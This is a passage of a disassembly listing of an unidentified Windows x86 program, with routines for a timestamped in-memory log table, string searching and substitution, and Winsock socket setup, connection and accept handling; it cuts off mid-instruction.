[esp+8+arg_4], eax fimul [esp+8+arg_4] fmul ds:dbl_43E0B0 call near ptr 13E0D0Ah sub esi, eax mov eax, esi pop esi pop ecx retn sub_13C3CD0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3D20 proc near ; CODE XREF: sub_13AC085j arg_0 = dword ptr 4 call rand ; rand cdq idiv [esp+arg_0] mov eax, edx retn sub_13C3D20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3D40 proc near ; CODE XREF: sub_13AB91Ej retn sub_13C3D40 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3D60 proc near ; CODE XREF: sub_13AC3C3j xor al, al retn 4 sub_13C3D60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3D80 proc near ; CODE XREF: sub_13AB923j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_E19CC5 call sub_13AB518 retn sub_13C3D80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3DC0 proc near ; CODE XREF: sub_13AB905j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h sub esp, 0Ch mov eax, [esp+0Ch+arg_10] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov [esp+1Ch+var_4], 80h mov [esp+1Ch+var_C], esi jz short loc_13C3DF3 push eax call atoi ; atoi add esp, 4 cmp eax, esi mov [esp+1Ch+var_C], eax jz short loc_13C3DF3 mov [esp+1Ch+var_4], eax loc_13C3DF3: ; CODE XREF: sub_13C3DC0+1Bj ; sub_13C3DC0+2Dj mov edi, [esp+1Ch+arg_8] mov ebx, [esp+1Ch+arg_4] mov ebp, [esp+1Ch+arg_0] mov [esp+1Ch+var_8], esi mov esi, offset dword_1025014 loc_13C3E08: ; CODE XREF: sub_13C3DC0+99j mov ecx, [esp+1Ch+var_8] mov eax, [esp+1Ch+var_4] cmp ecx, eax jge short loc_13C3E5B cmp byte ptr [esi], 0 jz short loc_13C3E44 mov eax, [esp+1Ch+arg_10] test eax, eax jz short loc_13C3E38 mov ecx, [esp+1Ch+var_C] test ecx, ecx jnz short loc_13C3E38 push eax push esi call strstr ; strstr add esp, 8 test eax, eax jz short loc_13C3E44 loc_13C3E38: ; CODE XREF: sub_13C3DC0+5Fj ; sub_13C3DC0+67j push edi push esi push ebx push ebp call sub_13AB923 add esp, 10h loc_13C3E44: ; CODE XREF: sub_13C3DC0+57j ; sub_13C3DC0+76j mov edx, [esp+1Ch+var_8] add esi, 80h inc edx cmp esi, offset dword_1029014 mov [esp+1Ch+var_8], edx jl short loc_13C3E08 loc_13C3E5B: ; CODE XREF: sub_13C3DC0+52j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn sub_13C3DC0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3EA0 proc near ; CODE XREF: sub_13AC666j arg_0 = dword ptr 4 push ebx mov ebx, strstr push esi push edi mov edi, [esp+0Ch+arg_0] mov esi, offset dword_1025014 loc_13C3EB2: ; CODE XREF: sub_13C3EA0+2Ej cmp byte ptr [esi], 0 jz short loc_13C3EC2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_13C3ED6 loc_13C3EC2: ; CODE XREF: sub_13C3EA0+15j add esi, 80h cmp esi, offset dword_1029014 jl short loc_13C3EB2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_13C3ED6: ; CODE XREF: sub_13C3EA0+20j pop edi pop esi mov eax, 1 pop ebx retn sub_13C3EA0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3EF0 proc near ; CODE XREF: sub_13AB4D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax call GetLocalTime ; GetLocalTime mov edi, strncpy mov esi, offset dword_1029014 loc_13C3F0B: ; CODE XREF: sub_13C3EF0+3Bj cmp byte ptr [esi], 0 jz short loc_13C3F1F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_13C3F1F: ; CODE XREF: sub_13C3EF0+1Ej sub esi, 80h cmp esi, offset dword_1025014 jge short loc_13C3F0B mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset dword_443DA8 push 80h push offset dword_1025014 call _snprintf ; _snprintf add esp, 28h pop edi pop esi add esp, 10h retn sub_13C3EF0 endp ; --------------------------------------------------------------------------- aB db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3FC0 proc near ; CODE XREF: sub_13AB6DAj var_600 = byte ptr -600h var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+610h+var_600] mov esi, [esp+610h+arg_0] rep stosd mov ecx, 80h lea edi, [esp+610h+var_400] mov ebp, strncpy push 1FFh rep stosd mov ecx, 80h lea edi, [esp+614h+var_200] rep stosd lea eax, [esp+614h+var_600] push esi push eax call ebp ; strncpy mov edx, [esp+61Ch+arg_8] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_13C4031 mov [edx+180h], al loc_13C4031: ; CODE XREF: sub_13C3FC0+69j mov ebx, [esp+610h+arg_4] lea ecx, [esp+610h+var_600] push ebx push ecx call strstr ; strstr add esp, 8 test eax, eax jz loc_13C4142 loc_13C404F: ; CODE XREF: sub_13C3FC0+175j lea edx, [esp+610h+var_600] push ebx push edx call strstr ; strstr mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+61Ch+var_200] push ecx push eax call ebp ; strncpy lea ecx, [esp+624h+var_600] push 1FFh lea edx, [esp+628h+var_400] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_13C4110 lea eax, [ebx-1] test eax, eax jz short loc_13C4110 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_13C40ED mov edx, [esp+610h+arg_8] lea ecx, [esp+610h+var_200] push ecx lea eax, [esp+614h+var_400] push edx push eax lea ecx, [esp+61Ch+var_600] push 443DD8h push ecx call wsprintfA ; wsprintfA add esp, 14h jmp short loc_13C4110 ; --------------------------------------------------------------------------- loc_13C40ED: ; CODE XREF: sub_13C3FC0+FEj mov edx, [esp+610h+arg_8] lea eax, [esp+610h+var_400] push edx push eax lea ecx, [esp+618h+var_600] push 443DD0h push ecx call wsprintfA ; wsprintfA add esp, 10h loc_13C4110: ; CODE XREF: sub_13C3FC0+DAj ; sub_13C3FC0+E1j ... mov edx, [esp+610h+arg_8] mov esi, strstr push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_13C413B lea eax, [esp+610h+var_600] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_13C404F loc_13C413B: ; CODE XREF: sub_13C3FC0+166j mov esi, [esp+610h+arg_0] loc_13C4142: ; CODE XREF: sub_13C3FC0+89j lea edi, [esp+610h+var_600] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+614h+var_600] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn sub_13C3FC0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C41E0 proc near ; CODE XREF: sub_13ABCCFj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 0 push 1 push 2 call socket ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_13C41FE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13C41FE: ; CODE XREF: sub_13C41E0+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call htons ; htons lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 call bind ; bind test eax, eax jz short loc_13C4249 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13C4249: ; CODE XREF: sub_13C41E0+5Fj push 7FFFFFFFh push esi call listen ; listen test eax, eax jz short loc_13C4261 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13C4261: ; CODE XREF: sub_13C41E0+77j mov eax, esi pop esi add esp, 10h retn sub_13C41E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C42A0 proc near ; CODE XREF: sub_13AC265j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset byte_E21EF5 loc_13C42A8: ; CODE XREF: sub_13C42A0+18j cmp dword ptr [eax], 0 jz short loc_13C42BA add eax, 316h inc edi cmp eax, offset byte_E29A65 jle short loc_13C42A8 loc_13C42BA: ; CODE XREF: sub_13C42A0+Bj cmp edi, 13h jle short loc_13C42C4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_13C42C4: ; CODE XREF: sub_13C42A0+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, wsprintfA push esi lea eax, [eax+eax*4] lea esi, ds:0E21DFBh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; wsprintfA mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; wsprintfA add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_13C42A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4360 proc near ; CODE XREF: sub_13AB7E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_E1A385 loc_13C4368: ; CODE XREF: sub_13C4360+18j cmp dword ptr [eax], 0 jz short loc_13C437A add eax, 316h inc edi cmp eax, offset byte_E21EF5 jle short loc_13C4368 loc_13C437A: ; CODE XREF: sub_13C4360+Bj cmp edi, 13h jle short loc_13C4384 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_13C4384: ; CODE XREF: sub_13C4360+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, wsprintfA push esi lea eax, [eax+eax*4] lea esi, ds:0E1A28Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; wsprintfA mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; wsprintfA add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_13C4360 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4420 proc near ; CODE XREF: sub_13AC035j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset dword_43E0BC mov eax, ds:dword_1029CE0 test eax, eax jnz short loc_13C4458 mov eax, ds:dword_1029CE0 inc eax mov ds:dword_1029CE0, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h call WSAStartup ; WSAStartup jmp short loc_13C4465 ; --------------------------------------------------------------------------- loc_13C4458: ; CODE XREF: sub_13C4420+19j mov edx, ds:dword_1029CE0 inc edx mov ds:dword_1029CE0, edx loc_13C4465: ; CODE XREF: sub_13C4420+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_446F80 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_13C4420 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C44F0 proc near ; CODE XREF: sub_13ABCD4j sub_13ABEF5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AC3C8 test [esp+4+arg_0], 1 jz short loc_13C4508 push esi call near ptr 13E0C02h add esp, 4 loc_13C4508: ; CODE XREF: sub_13C44F0+Dj mov eax, esi pop esi retn 4 sub_13C44F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4520 proc near ; CODE XREF: sub_13AC3C8j mov al, [ecx+80Ah] mov dword ptr [ecx], offset dword_43E0BC test al, al jnz short loc_13C4535 call sub_13AB8DD loc_13C4535: ; CODE XREF: sub_13C4520+Ej mov eax, 1 mov ecx, ds:dword_1029CE0 cmp ecx, eax jle short loc_13C4550 mov eax, ds:dword_1029CE0 dec eax mov ds:dword_1029CE0, eax locret_13C454F: ; CODE XREF: sub_13C4520:loc_13C4550j retn ; --------------------------------------------------------------------------- loc_13C4550: ; CODE XREF: sub_13C4520+22j jnz short locret_13C454F mov ecx, ds:dword_1029CE0 dec ecx mov ds:dword_1029CE0, ecx jmp WSACleanup sub_13C4520 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4590 proc near ; CODE XREF: sub_13AB9A0j var_834 = byte ptr -834h var_820 = byte ptr -820h var_18 = dword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push 43ACEBh push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_13ABD5B test al, al jz loc_13C4641 mov al, [esi+80Bh] test al, al jz short loc_13C45C9 mov al, 1 jmp short loc_13C4641 ; --------------------------------------------------------------------------- loc_13C45C9: ; CODE XREF: sub_13C4590+33j push ebx push edi mov edi, [esp+82Ch+arg_0] push 800h lea eax, [esi+6] push edi push eax call strncpy ; strncpy mov ebx, [esp+838h+arg_4] add esp, 0Ch lea ecx, [esp+82Ch+var_820] mov [esi+4], bx call sub_13AB586 mov ecx, [esp+82Ch+arg_C] mov edx, [esp+82Ch+arg_8] push ecx push edx push ebx push edi lea ecx, [esp+83Ch+var_820] mov [esp+83Ch+var_4], 0 call sub_13ABA36 push eax mov ecx, esi call sub_13AC4C7 lea ecx, [esp+840h+var_834] mov bl, al mov [esp+840h+var_18], 0FFFFFFFFh call sub_13ABC6B mov al, bl pop edi pop ebx loc_13C4641: ; CODE XREF: sub_13C4590+25j ; sub_13C4590+37j mov ecx, [esp+824h+var_C] pop esi mov large fs:0, ecx add esp, 820h retn 10h sub_13C4590 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C46A0 proc near ; CODE XREF: sub_13ABD5Bj mov al, ds:byte_443DE0 retn sub_13C46A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C46C0 proc near ; CODE XREF: sub_13AC4C7j var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_128 = byte ptr -128h var_126 = word ptr -126h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_14 = byte ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = byte ptr 4 sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_13ABD5B test al, al jnz short loc_13C46E0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_13C46E0: ; CODE XREF: sub_13C46C0+12j mov al, [esi+80Bh] test al, al jnz loc_13C4881 push 6 push 1 push 2 call socket ; socket cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_13C471A mov ecx, esi call sub_13AB8DD pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_13C471A: ; CODE XREF: sub_13C46C0+43j mov al, [esp+134h+arg_0] test al, al jnz short loc_13C4729 push 1 jmp short loc_13C472B ; --------------------------------------------------------------------------- loc_13C4729: ; CODE XREF: sub_13C46C0+63j push 0 loc_13C472B: ; CODE XREF: sub_13C46C0+67j mov ecx, esi call sub_13ABCBB mov edi, [esp+138h+var_8] xor eax, eax mov [esp+138h+var_124], eax push edi mov [esp+13Ch+var_120], eax mov [esi+4], di mov [esp+13Ch+var_11C], eax mov word ptr [esp+13Ch+var_124], 2 mov [esp+13Ch+var_118], eax call htons ; htons mov ecx, [esp+13Ch+var_10] mov [esp+13Ch+var_126], ax mov eax, [esi+806h] lea edx, [esp+13Ch+var_128] push 10h push edx push eax mov [esp+148h+var_124], ecx mov [esi+4], di call connect ; connect mov ebp, WSAGetLastError test eax, eax jge short loc_13C47CC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_13C47BD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_13C47BD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_13C47BD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_13C47BD: ; CODE XREF: sub_13C46C0+D6j ; sub_13C46C0+DDj ... mov al, [esp+148h+var_14] test al, al jnz loc_13C487A loc_13C47CC: ; CODE XREF: sub_13C46C0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+148h+var_13C] mov edi, select mov [esp+148h+var_13C], ecx push edx mov [esp+14Ch+var_138], ecx push ecx lea ecx, [esp+150h+var_124] mov [esp+150h+var_120], eax push ecx inc eax push 0 push eax mov [esp+15Ch+var_13C], 0Ah mov [esp+15Ch+var_124], 1 call edi ; select test eax, eax jge short loc_13C4840 loc_13C480B: ; CODE XREF: sub_13C46C0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_13C4855 mov eax, [esp+15Ch+var_150] test eax, eax jnz short loc_13C4824 mov eax, [esp+15Ch+var_14C] test eax, eax jz short loc_13C4855 loc_13C4824: ; CODE XREF: sub_13C46C0+15Aj mov ecx, [esi+806h] lea edx, [esp+15Ch+var_150] push edx lea eax, [esp+160h+var_138] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_13C480B loc_13C4840: ; CODE XREF: sub_13C46C0+149j mov al, [esp+170h+var_38] test al, al jnz short loc_13C4871 mov edx, [esp+170h+var_3C] push edx jmp short loc_13C4873 ; --------------------------------------------------------------------------- loc_13C4855: ; CODE XREF: sub_13C46C0+152j ; sub_13C46C0+162j mov ecx, esi call sub_13AB8DD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_13C4871: ; CODE XREF: sub_13C46C0+189j push 0 loc_13C4873: ; CODE XREF: sub_13C46C0+193j mov ecx, esi call sub_13ABCBB loc_13C487A: ; CODE XREF: sub_13C46C0+106j mov byte ptr [esi+80Bh], 1 loc_13C4881: ; CODE XREF: sub_13C46C0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_13C46C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4910 proc near ; CODE XREF: sub_13AB8DDj push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_13C492A cmp eax, 0FFFFFFFFh jz short loc_13C492A push eax call closesocket ; closesocket loc_13C492A: ; CODE XREF: sub_13C4910+Cj ; sub_13C4910+11j mov ecx, esi call sub_13AB775 mov byte ptr [esi+80Bh], 0 pop esi retn sub_13C4910 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4950 proc near ; CODE XREF: sub_13AB775j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_446F80 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_13C4950 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C49C0 proc near ; CODE XREF: sub_13AB888j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_13ABD5B test al, al jnz short loc_13C49D6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_13C49D6: ; CODE XREF: sub_13C49C0+Dj mov al, [esi+80Bh] test al, al jnz loc_13C4A8F push 6 push 1 push 2 call socket ; socket cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_13C4A0B mov ecx, esi call sub_13AB8DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_13C4A0B: ; CODE XREF: sub_13C49C0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call htons ; htons mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 call bind ; bind test eax, eax jz short loc_13C4A64 mov ecx, esi call sub_13AB8DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_13C4A64: ; CODE XREF: sub_13C49C0+92j mov ecx, [esi+806h] push 32h push ecx call listen ; listen cmp eax, 0FFFFFFFFh jnz short loc_13C4A88 mov ecx, esi call sub_13AB8DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_13C4A88: ; CODE XREF: sub_13C49C0+B6j mov byte ptr [esi+80Bh], 1 loc_13C4A8F: ; CODE XREF: sub_13C49C0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_13C49C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4AE0 proc near ; CODE XREF: sub_13ABF81j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_13ABD5B test al, al jnz short loc_13C4AFE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_13C4AFE: ; CODE XREF: sub_13C4AE0+11j mov al, [esi+80Bh] test al, al jnz short loc_13C4B15 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_13C4B15: ; CODE XREF: sub_13C4AE0+26j mov al, [esi+80Ch] test al, al jnz short loc_13C4B91 call sub_13ABD5B test al, al jz short loc_13C4B84 mov edi, select loc_13C4B2E: ; CODE XREF: sub_13C4AE0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_13C4B7B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call near ptr 13E1380h test eax, eax jnz short loc_13C4B91 loc_13C4B7B: ; CODE XREF: sub_13C4AE0+84j call sub_13ABD5B test al, al jnz short loc_13C4B2E loc_13C4B84: ; CODE XREF: sub_13C4AE0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_13C4B91: ; CODE XREF: sub_13C4AE0+3Dj ; sub_13C4AE0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_13C4BB4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_13C4BC6 ; --------------------------------------------------------------------------- loc_13C4BB4: ; CODE XREF: sub_13C4AE0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_13C4BC6: ; CODE XREF: sub_13C4AE0+D2j mov eax, [esi+806h] push eax call accept ; accept cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_13C4BE9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_13C4BE9: ; CODE XREF: sub_13C4AE0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_13AC4EA mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_13C4AE0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4C70 proc near ; CODE XREF: sub_13AC4EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_13C4C70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4CA0 proc near ; CODE XREF: sub_13ABD60j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_13ABF3B retn 0Ch sub_13C4CA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4CD0 proc near ; CODE XREF: sub_13ABF3Bj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_13C4E34 mov al, [esi+80Bh] test al, al jz loc_13C4E34 mov edi, GetTickCount call edi ; GetTickCount mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_13C4DCC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_13C4DCC call sub_13ABD5B test al, al jz loc_13C4DCC loc_13C4D2B: ; CODE XREF: sub_13C4CD0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov 